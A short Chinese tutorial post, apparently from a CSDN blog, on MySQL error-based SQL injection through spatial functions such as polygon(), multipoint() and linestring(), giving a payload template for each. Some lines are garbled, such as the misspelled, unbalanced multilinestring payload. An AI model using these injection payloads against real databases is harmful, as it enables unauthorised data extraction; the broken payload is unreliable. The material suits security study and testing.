mysql报错注入原理,MYSQL 其他函数报错注入

都为空间数据储存函数，其余函数的报错原理与GeometryCollection()原理相同

MYSQL 中的空间数据存储

MySQL支持以下数据类型：

Geometry:可以存储所有的几何类型

Point:简单点

LINESTRING:简单线

POLYGON:简单面

MULTIPOINT：多点

MULITILINESTRING:多线

MUILITIPOLYGON：很多方面

GEOMETRYCOLLECTION:任何几何集合

约束条件

同geometrycollection()

通过polygon ()报错

注入代码

and polygon((select * from(select * from(操作代码)a)b))

通过multipoint ()报错

注入代码

and multipoint((select * from(select * from(操作代码)a)b))

通过multlinestring ()报错

注入代码

and multlinestring((select * from (操作代码)a)b))

通过multpolygon ()报错

注入代码

and multipolygon((select * from(select * from(操作代码)a)b))

通过linestring ()报错

注入代码

and linestring((select * from(select * from(操作代码)a)b))

标签：multipoint,函数,代码,报错,MYSQL,操作,select,注入

来源： https://blog.csdn.net/weixin_46706771/article/details/112770568